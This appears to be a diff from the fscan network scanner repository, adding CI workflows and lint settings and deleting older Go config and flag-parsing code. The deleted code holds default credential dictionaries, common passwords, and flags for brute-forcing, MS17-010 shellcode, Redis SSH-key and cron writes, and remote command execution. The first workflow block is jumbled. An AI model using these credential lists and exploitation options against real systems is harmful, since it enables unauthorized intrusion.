- name: 检出代码
uses: actions/checkout@v4
with:
fetch-depth: 0
- name: "Set up Go"
uses: actions/setup-go@v4
with:
go-version: 1.20.14
-
name: Install UPX
uses: crazy-max/ghaction-upx@v3
with:
install-only: true
- name: 准备 Release Notes
if: ${{ !inputs.snapshot }}
run: |
TAG="${GITHUB_REF_NAME}"
NOTES_FILE=".github/release-notes/${TAG}.md"
- name: UPX version
run: upx --version
if [ -f "$NOTES_FILE" ]; then
echo "📝 找到版本 Release Notes: $NOTES_FILE"
cp "$NOTES_FILE" /tmp/release-notes.md
else
echo "⚠️ 未找到 $NOTES_FILE,使用自动生成的 changelog"
echo "" > /tmp/release-notes.md
fi
-
name: "Create release on GitHub"
uses: goreleaser/goreleaser-action@v4
echo "RELEASE_NOTES_FILE=/tmp/release-notes.md" >> $GITHUB_ENV
- name: 构建和发布
uses: ./.github/actions/build-release
with:
distribution: goreleaser
version: latest
args: "release --clean --debug -f .github/conf/.goreleaser.yml"
workdir: .
mode: ${{ inputs.snapshot && 'snapshot' || 'release' }}
go-version: '1.25'
retention-days: '90'
release-args: ${{ inputs.draft && '--draft' || '' }}
- name: 更新 Release Notes
if: ${{ !inputs.snapshot && env.RELEASE_NOTES_FILE != '' }}
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
GH_TOKEN: ${{ github.token }}
run: |
TAG="${GITHUB_REF_NAME}"
NOTES_FILE="${RELEASE_NOTES_FILE}"
if [ -s "$NOTES_FILE" ]; then
echo "📝 更新 Release Notes..."
# 用版本特定的 notes 替换 goreleaser 生成的 body
gh release edit "$TAG" --notes-file "$NOTES_FILE"
echo "✅ Release Notes 已更新"
fi
+192
View File
@@ -0,0 +1,192 @@
name: 测试构建
on:
push:
branches:
- main
- dev
- dev-*
- develop
- feature/*
paths-ignore:
- '*.md'
- '*.txt'
- 'README*'
- 'LICENSE*'
- 'image/**'
- 'TestDocker/**'
- '**/*.png'
- '**/*.jpg'
- '**/*.jpeg'
pull_request:
branches:
- main
- master
- dev
paths-ignore:
- '*.md'
- '*.txt'
- 'README*'
- 'LICENSE*'
- 'image/**'
- 'TestDocker/**'
- '**/*.png'
- '**/*.jpg'
- '**/*.jpeg'
workflow_dispatch:
permissions:
contents: read
env:
FORCE_JAVASCRIPT_ACTIONS_TO_NODE24: true
jobs:
lint:
name: 代码检查
runs-on: ubuntu-latest
timeout-minutes: 10
steps:
- name: 检出代码
uses: actions/checkout@v4
- name: 设置 Go 环境
uses: actions/setup-go@v5
with:
go-version: '1.25'
cache: true
- name: 运行 golangci-lint
run: |
# 安装 golangci-lint v2 (需 Go 1.22+,仅用于静态分析,不影响二进制兼容性)
go install github.com/golangci/golangci-lint/v2/cmd/[email protected]
# 运行检查
golangci-lint run --timeout=5m > lint_output.txt 2>&1 || true
cat lint_output.txt
# 过滤非关键问题(复杂度建议和 staticcheck 风格建议不阻塞 CI
CRITICAL=$(grep -E "\.go:[0-9]+:[0-9]+:" lint_output.txt \
| grep -vE "gocognit|gocyclo|QF[0-9]+| S[0-9]+|ST[0-9]+" || true)
if [ -n "$CRITICAL" ]; then
echo "❌ Linting failed with critical issues:"
echo "$CRITICAL" | head -20
exit 1
fi
echo "✅ Lint 检查通过"
- name: 检查代码复杂度(质量门禁)
run: |
echo "### 🚦 复杂度质量门禁" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
# 检查认知复杂度>80的函数
COMPLEX_FUNCS=$(golangci-lint run --disable-all --enable=gocognit --out-format=line-number 2>&1 | grep "cognitive complexity" | grep -v "typechecking" || true)
if [ -n "$COMPLEX_FUNCS" ]; then
HIGH_COMPLEX=$(echo "$COMPLEX_FUNCS" | awk '{print $NF}' | sed 's/[()]//g' | awk -F'>' '{if ($1 > 80) print}' | wc -l)
if [ "$HIGH_COMPLEX" -gt 0 ]; then
echo "❌ **发现 $HIGH_COMPLEX 个复杂度>80的函数**" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
echo '```' >> $GITHUB_STEP_SUMMARY
echo "$COMPLEX_FUNCS" | awk '{print $NF}' | sed 's/[()]//g' | awk -F'>' '{if ($1 > 80) print "复杂度:", $1, "- 必须重构"}' >> $GITHUB_STEP_SUMMARY
echo '```' >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
echo "⚠️ 请重构复杂度>80的函数后再提交" >> $GITHUB_STEP_SUMMARY
exit 1
fi
fi
echo "✅ 代码复杂度检查通过(所有函数≤80" >> $GITHUB_STEP_SUMMARY
test:
name: 单元测试和构建
runs-on: ubuntu-latest
timeout-minutes: 10
needs: lint
steps:
- name: 检出代码
uses: actions/checkout@v4
- name: 设置 Go 环境
uses: actions/setup-go@v5
with:
go-version: '1.25'
cache: true
- name: 下载依赖
run: |
go mod download
go mod verify
- name: 运行测试
run: |
# 排除第三方grdp库测试(存在环境依赖问题)
PKGS=$(go list ./... | grep -v '/libs/grdp/')
go test -vet=off -race -coverprofile=coverage.out -covermode=atomic $PKGS
- name: 上传覆盖率
uses: actions/upload-artifact@v4
with:
name: coverage-report
path: coverage.out
retention-days: 7
- name: 显示覆盖率
run: |
echo "### 测试覆盖率报告" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
go tool cover -func=coverage.out >> $GITHUB_STEP_SUMMARY
- name: 检查覆盖率(质量门禁)
run: |
echo "" >> $GITHUB_STEP_SUMMARY
echo "### 🚦 覆盖率质量门禁" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
# 提取总体覆盖率(awk 整数比较,不需要 bc)
TOTAL_COVERAGE=$(go tool cover -func=coverage.out | grep total | awk '{print int($3)}')
echo "总体覆盖率: ${TOTAL_COVERAGE}%" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
# 警告阈值:总体<40%
if [ "$TOTAL_COVERAGE" -lt 40 ]; then
echo "⚠️ **警告**: 总体覆盖率 ${TOTAL_COVERAGE}% < 40%,建议补充测试" >> $GITHUB_STEP_SUMMARY
fi
# 检查是否有新增的未测试文件(0%覆盖率)
ZERO_COVERAGE_FILES=$(go tool cover -func=coverage.out | awk '$3 == "0.0%" && $1 !~ /_test\.go/' | wc -l)
if [ "$ZERO_COVERAGE_FILES" -gt 0 ]; then
echo "⚠️ **警告**: 发现 $ZERO_COVERAGE_FILES 个文件覆盖率为0%" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
echo "请为新代码补充单元测试" >> $GITHUB_STEP_SUMMARY
else
echo "✅ 覆盖率检查通过" >> $GITHUB_STEP_SUMMARY
fi
build:
name: 构建验证
runs-on: ubuntu-latest
timeout-minutes: 5
needs: test
steps:
- name: 检出代码
uses: actions/checkout@v4
- name: 设置 Go 环境
uses: actions/setup-go@v5
with:
go-version: '1.25'
cache: true
- name: 构建验证
run: |
# 只验证能否编译通过,不需要多平台构建
echo "🔨 验证 Linux/amd64 构建..."
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -o /dev/null .
echo "✅ 构建成功"
+100 -1
View File
@@ -1,3 +1,102 @@
result.txt
main
result.json
/main
.idea
fscan.exe
/fscan
fscanapi.csv
# IDE files / IDE 文件
.vscode/
.cursor/
.cursorrules
.claude/
# Local development files / 本地开发文件
*.local
*.tmp
*.temp
.env
.env.local
.env.development
.env.test
.env.production
# OS files / 操作系统文件
.DS_Store
.DS_Store?
._*
.Spotlight-V100
.Trashes
ehthumbs.db
Thumbs.db
desktop.ini
# Logs / 日志文件
*.log
logs/
log/
# Test coverage / 测试覆盖率
coverage.txt
coverage.html
*.cover
*.out
coverage*.out
# Test artifacts / 测试产物
*_report.txt
*_output.txt
*_test_*.txt
race_report.txt
test_output.txt
# Build artifacts / 构建产物
build/
bin/
*.exe
*.dll
*.so
*.dylib
/fscan_cli
/fscan_web
/embed-agent
# Web UI build / Web前端构建
web-ui/node_modules/
web-ui/dist/
!web/dist/
# Go specific / Go 相关
vendor/
*.test
*.prof
*.mem
*.cpu
__debug_bin*
go.work
go.work.sum
# Performance profiling / 性能分析
profiles/
# Local development tools / 本地开发工具
.air.toml
air_tmp/
# Todo files / Todo文件
Todo列表.md
*todo*.md
*TODO*.md
# Claude documentation / Claude文档
.claude_docs/
# Cleaner plugin artifacts / 清理插件产物
cleanup.bat
cleanup.sh
cleanup_script_*
# Compilation objects / 编译对象文件
*.o
*.a
+52
View File
@@ -0,0 +1,52 @@
# golangci-lint v2 配置
version: "2"
run:
timeout: 5m
linters:
default: none
enable:
- govet
- errcheck
- staticcheck
- unused
- ineffassign
- gocyclo
- gocognit
settings:
govet:
disable:
- printf
errcheck:
check-type-assertions: true
exclude-functions:
- (net.Conn).Close
- (*os.File).Close
- os.Remove
- (github.com/hirochachacha/go-smb2.Session).Logoff
- (github.com/hirochachacha/go-smb2.Share).Umount
gocyclo:
min-complexity: 35
gocognit:
min-complexity: 80
exclusions:
generated: lax
rules:
- path: _test\.go
linters:
- gocyclo
- gocognit
- errcheck
- linters:
- govet
text: "fieldalignment:"
paths:
- vendor
- testdocker
- image
- libs/grdp
issues:
max-issues-per-linter: 50
max-same-issues: 3
-107
View File
@@ -1,107 +0,0 @@
package Common
var version = "2.0.0"
var Userdict = map[string][]string{
"ftp": {"ftp", "admin", "www", "web", "root", "db", "wwwroot", "data"},
"mysql": {"root", "mysql"},
"mssql": {"sa", "sql"},
"smb": {"administrator", "admin", "guest"},
"rdp": {"administrator", "admin", "guest"},
"postgresql": {"postgres", "admin"},
"ssh": {"root", "admin"},
"mongodb": {"root", "admin"},
"oracle": {"sys", "system", "admin", "test", "web", "orcl"},
}
var Passwords = []string{"123456", "admin", "admin123", "root", "", "pass123", "pass@123", "password", "123123", "654321", "111111", "123", "1", "admin@123", "Admin@123", "admin123!@#", "{user}", "{user}1", "{user}111", "{user}123", "{user}@123", "{user}_123", "{user}#123", "{user}@111", "{user}@2019", "{user}@123#4", "P@ssw0rd!", "P@ssw0rd", "Passw0rd", "qwe123", "12345678", "test", "test123", "123qwe", "123qwe!@#", "123456789", "123321", "666666", "a123456.", "123456~a", "123456!a", "000000", "1234567890", "8888888", "!QAZ2wsx", "1qaz2wsx", "abc123", "abc123456", "1qaz@WSX", "a11111", "a12345", "Aa1234", "Aa1234.", "Aa12345", "a123456", "a123123", "Aa123123", "Aa123456", "Aa12345.", "sysadmin", "system", "1qaz!QAZ", "2wsx@WSX", "qwe123!@#", "Aa123456!", "A123456s!", "sa123456", "1q2w3e", "Charge123", "Aa123456789"}
var PortGroup = map[string]string{
"ftp": "21",
"ssh": "22",
"findnet": "135",
"netbios": "139",
"smb": "445",
"mssql": "1433",
"oracle": "1521",
"mysql": "3306",
"rdp": "3389",
"psql": "5432",
"redis": "6379",
"fcgi": "9000",
"mem": "11211",
"mgo": "27017",
"ms17010": "445",
"cve20200796": "445",
"service": "21,22,135,139,445,1433,1521,3306,3389,5432,6379,9000,11211,27017",
"db": "1433,1521,3306,5432,6379,11211,27017",
"web": "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10250,12018,12443,14000,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,21000,21501,21502,28018,20880",
"all": "1-65535",
"main": "21,22,80,81,135,139,443,445,1433,1521,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017",
}
var Outputfile = "result.txt"
var IsSave = true
var Webport = "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10250,12018,12443,14000,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,21000,21501,21502,28018,20880"
var DefaultPorts = "21,22,80,81,135,139,443,445,1433,1521,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017"
type PocInfo struct {
Target string
PocName string
}
var (
Ports string
Path string
Scantype string
Command string
SshKey string
Domain string
Username string
Password string
Proxy string
Timeout int64 = 3
WebTimeout int64 = 5
TmpSave bool
NoPing bool
Ping bool
Pocinfo PocInfo
NoPoc bool
IsBrute bool
RedisFile string
RedisShell string
Userfile string
Passfile string
Hashfile string
HostFile string
PortFile string
PocPath string
Threads int
URL string
UrlFile string
Urls []string
NoPorts string
NoHosts string
SC string
PortAdd string
UserAdd string
PassAdd string
BruteThread int
LiveTop int
Socks5Proxy string
Hash string
Hashs []string
HashBytes [][]byte
HostPort []string
IsWmi bool
Noredistest bool
)
var (
UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36"
Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"
DnsLog bool
PocNum int
PocFull bool
CeyeDomain string
ApiKey string
Cookie string
)
-93
View File
@@ -1,93 +0,0 @@
package Common
import (
"flag"
)
func Banner() {
banner := `
___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` + "`" + ` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: ` + version + `
`
print(banner)
}
func Flag(Info *HostInfo) {
Banner()
// 目标配置
flag.StringVar(&Info.Host, "h", "", "目标主机IP,例如: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12")
flag.StringVar(&NoHosts, "hn", "", "排除的主机范围,例如: -hn 192.168.1.1/24")
flag.StringVar(&Ports, "p", DefaultPorts, "端口配置,例如: 22 | 1-65535 | 22,80,3306")
flag.StringVar(&PortAdd, "pa", "", "在默认端口基础上添加端口,-pa 3389")
flag.StringVar(&NoPorts, "pn", "", "排除的端口,例如: -pn 445")
// 认证配置
flag.StringVar(&UserAdd, "usera", "", "在默认用户列表基础上添加用户,-usera user")
flag.StringVar(&PassAdd, "pwda", "", "在默认密码列表基础上添加密码,-pwda password")
flag.StringVar(&Username, "user", "", "用户名")
flag.StringVar(&Password, "pwd", "", "密码")
flag.StringVar(&Domain, "domain", "", "域名(用于SMB)")
flag.StringVar(&SshKey, "sshkey", "", "SSH密钥文件(id_rsa)")
// 扫描配置
flag.StringVar(&Scantype, "m", "all", "扫描类型,例如: -m ssh")
flag.IntVar(&Threads, "t", 600, "线程数量")
flag.Int64Var(&Timeout, "time", 3, "超时时间(秒)")
flag.IntVar(&LiveTop, "top", 10, "显示存活主机数量")
flag.BoolVar(&NoPing, "np", false, "禁用存活探测")
flag.BoolVar(&Ping, "ping", false, "使用ping替代ICMP")
flag.StringVar(&Command, "c", "", "执行命令(支持ssh|wmiexec)")
// 文件配置
flag.StringVar(&HostFile, "hf", "", "主机列表文件")
flag.StringVar(&Userfile, "userf", "", "用户名字典")
flag.StringVar(&Passfile, "pwdf", "", "密码字典")
flag.StringVar(&Hashfile, "hashf", "", "Hash字典")
flag.StringVar(&PortFile, "portf", "", "端口列表文件")
// Web配置
flag.StringVar(&URL, "u", "", "目标URL")
flag.StringVar(&UrlFile, "uf", "", "URL列表文件")
flag.StringVar(&Cookie, "cookie", "", "设置Cookie")
flag.Int64Var(&WebTimeout, "wt", 5, "Web请求超时时间")
flag.StringVar(&Proxy, "proxy", "", "设置HTTP代理")
flag.StringVar(&Socks5Proxy, "socks5", "", "设置Socks5代理(将用于TCP连接,超时设置将失效)")
// POC配置
flag.StringVar(&PocPath, "pocpath", "", "POC文件路径")
flag.StringVar(&Pocinfo.PocName, "pocname", "", "使用包含指定名称的POC,例如: -pocname weblogic")
flag.BoolVar(&NoPoc, "nopoc", false, "禁用Web漏洞扫描")
flag.BoolVar(&PocFull, "full", false, "完整POC扫描,如:shiro 100个key")
flag.BoolVar(&DnsLog, "dns", false, "启用dnslog验证")
flag.IntVar(&PocNum, "num", 20, "POC并发数")
// Redis利用配置
flag.StringVar(&RedisFile, "rf", "", "Redis写入SSH公钥文件")
flag.StringVar(&RedisShell, "rs", "", "Redis写入计划任务")
flag.BoolVar(&Noredistest, "noredis", false, "禁用Redis安全检测")
// 暴力破解配置
flag.BoolVar(&IsBrute, "nobr", false, "禁用密码爆破")
flag.IntVar(&BruteThread, "br", 1, "密码爆破线程数")
// 其他配置
flag.StringVar(&Path, "path", "", "FCG/SMB远程文件路径")
flag.StringVar(&Hash, "hash", "", "Hash值")
flag.StringVar(&SC, "sc", "", "MS17漏洞shellcode")
flag.BoolVar(&IsWmi, "wmi", false, "启用WMI")
// 输出配置
flag.StringVar(&Outputfile, "o", "result.txt", "结果输出文件")
flag.BoolVar(&TmpSave, "no", false, "禁用结果保存")
flag.BoolVar(&Silent, "silent", false, "静默扫描模式")
flag.BoolVar(&Nocolor, "nocolor", false, "禁用彩色输出")
flag.BoolVar(&JsonOutput, "json", false, "JSON格式输出")
flag.Int64Var(&WaitTime, "debug", 60, "错误日志输出间隔")
flag.Parse()
}
-167
View File
@@ -1,167 +0,0 @@
package Common
import (
"encoding/json"
"fmt"
"github.com/fatih/color"
"io"
"log"
"os"
"strings"
"sync"
"time"
)
// 记录扫描状态的全局变量
var (
Num int64 // 总任务数
End int64 // 已完成数
Results = make(chan *string) // 结果通道
LogSucTime int64 // 最近成功日志时间
LogErrTime int64 // 最近错误日志时间
WaitTime int64 // 等待时间
Silent bool // 静默模式
Nocolor bool // 禁用颜色
JsonOutput bool // JSON输出
LogWG sync.WaitGroup // 日志同步等待组
)
// JsonText JSON输出的结构体
type JsonText struct {
Type string `json:"type"` // 消息类型
Text string `json:"text"` // 消息内容
}
// init 初始化日志配置
func init() {
log.SetOutput(io.Discard)
LogSucTime = time.Now().Unix()
go SaveLog()
}
// LogSuccess 记录成功信息
func LogSuccess(result string) {
LogWG.Add(1)
LogSucTime = time.Now().Unix()
Results <- &result
}
// SaveLog 保存日志信息
func SaveLog() {
for result := range Results {
// 打印日志
if !Silent {
if Nocolor {
fmt.Println(*result)
} else {
switch {
case strings.HasPrefix(*result, "[+] 信息扫描"):
color.Green(*result)
case strings.HasPrefix(*result, "[+]"):
color.Red(*result)
default:
fmt.Println(*result)
}
}
}
// 保存到文件
if IsSave {
WriteFile(*result, Outputfile)
}
LogWG.Done()
}
}
// WriteFile 写入文件
func WriteFile(result string, filename string) {
// 打开文件
fl, err := os.OpenFile(filename, os.O_WRONLY|os.O_CREATE|os.O_APPEND, 0666)
if err != nil {
fmt.Printf("[!] 打开文件失败 %s: %v\n", filename, err)
return
}
defer fl.Close()
if JsonOutput {
// 解析JSON格式
var scantype, text string
if strings.HasPrefix(result, "[+]") || strings.HasPrefix(result, "[*]") || strings.HasPrefix(result, "[-]") {
index := strings.Index(result[4:], " ")
if index == -1 {
scantype = "msg"
text = result[4:]
} else {
scantype = result[4 : 4+index]
text = result[4+index+1:]
}
} else {
scantype = "msg"
text = result
}
// 构造JSON对象
jsonText := JsonText{
Type: scantype,
Text: text,
}
// 序列化JSON
jsonData, err := json.Marshal(jsonText)
if err != nil {
fmt.Printf("[!] JSON序列化失败: %v\n", err)
jsonText = JsonText{
Type: "msg",
Text: result,
}
jsonData, _ = json.Marshal(jsonText)
}
jsonData = append(jsonData, []byte(",\n")...)
_, err = fl.Write(jsonData)
} else {
_, err = fl.Write([]byte(result + "\n"))
}
if err != nil {
fmt.Printf("[!] 写入文件失败 %s: %v\n", filename, err)
}
}
// LogError 记录错误信息
func LogError(errinfo interface{}) {
if WaitTime == 0 {
fmt.Printf("[*] 已完成 %v/%v %v\n", End, Num, errinfo)
} else if (time.Now().Unix()-LogSucTime) > WaitTime && (time.Now().Unix()-LogErrTime) > WaitTime {
fmt.Printf("[*] 已完成 %v/%v %v\n", End, Num, errinfo)
LogErrTime = time.Now().Unix()
}
}
// CheckErrs 检查是否为已知错误
func CheckErrs(err error) bool {
if err == nil {
return false
}
// 已知错误列表
errs := []string{
"closed by the remote host", "too many connections",
"i/o timeout", "EOF", "A connection attempt failed",
"established connection failed", "connection attempt failed",
"Unable to read", "is not allowed to connect to this",
"no pg_hba.conf entry",
"No connection could be made",
"invalid packet size",
"bad connection",
}
// 检查错误是否匹配
errLower := strings.ToLower(err.Error())
for _, key := range errs {
if strings.Contains(errLower, strings.ToLower(key)) {
return true
}
}
return false
}
-392
View File
@@ -1,392 +0,0 @@
package Common
import (
"bufio"
"encoding/hex"
"flag"
"fmt"
"net/url"
"os"
"strconv"
"strings"
)
func Parse(Info *HostInfo) {
ParseUser()
ParsePass(Info)
ParseInput(Info)
ParseScantype(Info)
}
// ParseUser 解析用户名配置,支持直接指定用户名列表或从文件读取
func ParseUser() error {
// 如果未指定用户名和用户名文件,直接返回
if Username == "" && Userfile == "" {
return nil
}
var usernames []string
// 处理直接指定的用户名列表
if Username != "" {
usernames = strings.Split(Username, ",")
fmt.Printf("[*] 已加载直接指定的用户名: %d 个\n", len(usernames))
}
// 从文件加载用户名列表
if Userfile != "" {
users, err := Readfile(Userfile)
if err != nil {
return fmt.Errorf("读取用户名文件失败: %v", err)
}
// 过滤空用户名
for _, user := range users {
if user != "" {
usernames = append(usernames, user)
}
}
fmt.Printf("[*] 已从文件加载用户名: %d 个\n", len(users))
}
// 去重处理
usernames = RemoveDuplicate(usernames)
fmt.Printf("[*] 去重后用户名总数: %d 个\n", len(usernames))
// 更新用户字典
for name := range Userdict {
Userdict[name] = usernames
}
return nil
}
// ParsePass 解析密码、哈希值、URL和端口配置
func ParsePass(Info *HostInfo) error {
// 处理直接指定的密码列表
var pwdList []string
if Password != "" {
passes := strings.Split(Password, ",")
for _, pass := range passes {
if pass != "" {
pwdList = append(pwdList, pass)
}
}
Passwords = pwdList
fmt.Printf("[*] 已加载直接指定的密码: %d 个\n", len(pwdList))
}
// 从文件加载密码列表
if Passfile != "" {
passes, err := Readfile(Passfile)
if err != nil {
return fmt.Errorf("读取密码文件失败: %v", err)
}
for _, pass := range passes {
if pass != "" {
pwdList = append(pwdList, pass)
}
}
Passwords = pwdList
fmt.Printf("[*] 已从文件加载密码: %d 个\n", len(passes))
}
// 处理哈希文件
if Hashfile != "" {
hashes, err := Readfile(Hashfile)
if err != nil {
return fmt.Errorf("读取哈希文件失败: %v", err)
}
validCount := 0
for _, line := range hashes {
if line == "" {
continue
}
if len(line) == 32 {
Hashs = append(Hashs, line)
validCount++
} else {
fmt.Printf("[!] 无效的哈希值(长度!=32): %s\n", line)
}
}
fmt.Printf("[*] 已加载有效哈希值: %d 个\n", validCount)
}
// 处理直接指定的URL列表
if URL != "" {
urls := strings.Split(URL, ",")
tmpUrls := make(map[string]struct{})
for _, url := range urls {
if url != "" {
if _, ok := tmpUrls[url]; !ok {
tmpUrls[url] = struct{}{}
Urls = append(Urls, url)
}
}
}
fmt.Printf("[*] 已加载直接指定的URL: %d 个\n", len(Urls))
}
// 从文件加载URL列表
if UrlFile != "" {
urls, err := Readfile(UrlFile)
if err != nil {
return fmt.Errorf("读取URL文件失败: %v", err)
}
tmpUrls := make(map[string]struct{})
for _, url := range urls {
if url != "" {
if _, ok := tmpUrls[url]; !ok {
tmpUrls[url] = struct{}{}
Urls = append(Urls, url)
}
}
}
fmt.Printf("[*] 已从文件加载URL: %d 个\n", len(urls))
}
// 从文件加载端口列表
if PortFile != "" {
ports, err := Readfile(PortFile)
if err != nil {
return fmt.Errorf("读取端口文件失败: %v", err)
}
var newport strings.Builder
for _, port := range ports {
if port != "" {
newport.WriteString(port)
newport.WriteString(",")
}
}
Ports = newport.String()
fmt.Printf("[*] 已从文件加载端口配置\n")
}
return nil
}
// Readfile 读取文件内容并返回非空行的切片
func Readfile(filename string) ([]string, error) {
// 打开文件
file, err := os.Open(filename)
if err != nil {
fmt.Printf("[!] 打开文件 %s 失败: %v\n", filename, err)
return nil, err
}
defer file.Close()
var content []string
scanner := bufio.NewScanner(file)
scanner.Split(bufio.ScanLines)
// 逐行读取文件内容
lineCount := 0
for scanner.Scan() {
text := strings.TrimSpace(scanner.Text())
if text != "" {
content = append(content, text)
lineCount++
}
}
// 检查扫描过程中是否有错误
if err := scanner.Err(); err != nil {
fmt.Printf("[!] 读取文件 %s 时出错: %v\n", filename, err)
return nil, err
}
fmt.Printf("[*] 成功读取文件 %s: %d 行\n", filename, lineCount)
return content, nil
}
// ParseInput 解析和验证输入参数配置
func ParseInput(Info *HostInfo) error {
// 检查必要的目标参数
if Info.Host == "" && HostFile == "" && URL == "" && UrlFile == "" {
fmt.Println("[!] 未指定扫描目标")
flag.Usage()
return fmt.Errorf("必须指定扫描目标")
}
// 配置基本参数
if BruteThread <= 0 {
BruteThread = 1
fmt.Printf("[*] 已将暴力破解线程数设置为: %d\n", BruteThread)
}
if TmpSave {
IsSave = false
fmt.Println("[*] 已启用临时保存模式")
}
// 处理端口配置
if Ports == DefaultPorts {
Ports += "," + Webport
}
if PortAdd != "" {
if strings.HasSuffix(Ports, ",") {
Ports += PortAdd
} else {
Ports += "," + PortAdd
}
fmt.Printf("[*] 已添加额外端口: %s\n", PortAdd)
}
// 处理用户名配置
if UserAdd != "" {
users := strings.Split(UserAdd, ",")
for dict := range Userdict {
Userdict[dict] = append(Userdict[dict], users...)
Userdict[dict] = RemoveDuplicate(Userdict[dict])
}
fmt.Printf("[*] 已添加额外用户名: %s\n", UserAdd)
}
// 处理密码配置
if PassAdd != "" {
passes := strings.Split(PassAdd, ",")
Passwords = append(Passwords, passes...)
Passwords = RemoveDuplicate(Passwords)
fmt.Printf("[*] 已添加额外密码: %s\n", PassAdd)
}
// 处理Socks5代理配置
if Socks5Proxy != "" {
if !strings.HasPrefix(Socks5Proxy, "socks5://") {
if !strings.Contains(Socks5Proxy, ":") {
Socks5Proxy = "socks5://127.0.0.1" + Socks5Proxy
} else {
Socks5Proxy = "socks5://" + Socks5Proxy
}
}
_, err := url.Parse(Socks5Proxy)
if err != nil {
return fmt.Errorf("Socks5代理格式错误: %v", err)
}
NoPing = true
fmt.Printf("[*] 使用Socks5代理: %s\n", Socks5Proxy)
}
// 处理HTTP代理配置
if Proxy != "" {
switch Proxy {
case "1":
Proxy = "http://127.0.0.1:8080"
case "2":
Proxy = "socks5://127.0.0.1:1080"
default:
if !strings.Contains(Proxy, "://") {
Proxy = "http://127.0.0.1:" + Proxy
}
}
if !strings.HasPrefix(Proxy, "socks") && !strings.HasPrefix(Proxy, "http") {
return fmt.Errorf("不支持的代理类型")
}
_, err := url.Parse(Proxy)
if err != nil {
return fmt.Errorf("代理格式错误: %v", err)
}
fmt.Printf("[*] 使用代理: %s\n", Proxy)
}
// 处理Hash配置
if Hash != "" {
if len(Hash) != 32 {
return fmt.Errorf("Hash长度必须为32位")
}
Hashs = append(Hashs, Hash)
}
// 处理Hash列表
Hashs = RemoveDuplicate(Hashs)
for _, hash := range Hashs {
hashByte, err := hex.DecodeString(hash)
if err != nil {
fmt.Printf("[!] Hash解码失败: %s\n", hash)
continue
}
HashBytes = append(HashBytes, hashByte)
}
Hashs = []string{}
return nil
}
// ParseScantype 解析扫描类型并设置对应的端口
func ParseScantype(Info *HostInfo) error {
// 先处理特殊扫描类型
specialTypes := map[string]string{
"hostname": "135,137,139,445",
"webonly": Webport,
"webpoc": Webport,
"web": Webport,
"portscan": DefaultPorts + "," + Webport,
"main": DefaultPorts,
"all": DefaultPorts + "," + Webport,
"icmp": "", // ICMP不需要端口
}
// 如果是特殊扫描类型
if customPorts, isSpecial := specialTypes[Scantype]; isSpecial {
if Scantype != "all" && Ports == DefaultPorts+","+Webport {
Ports = customPorts
}
fmt.Printf("[*] 扫描类型: %s, 目标端口: %s\n", Scantype, Ports)
return nil
}
// 检查是否是注册的插件类型
plugin, validType := PluginManager[Scantype]
if !validType {
showmode()
return fmt.Errorf("无效的扫描类型: %s", Scantype)
}
// 如果是插件扫描且使用默认端口配置
if Ports == DefaultPorts+","+Webport {
if plugin.Port > 0 {
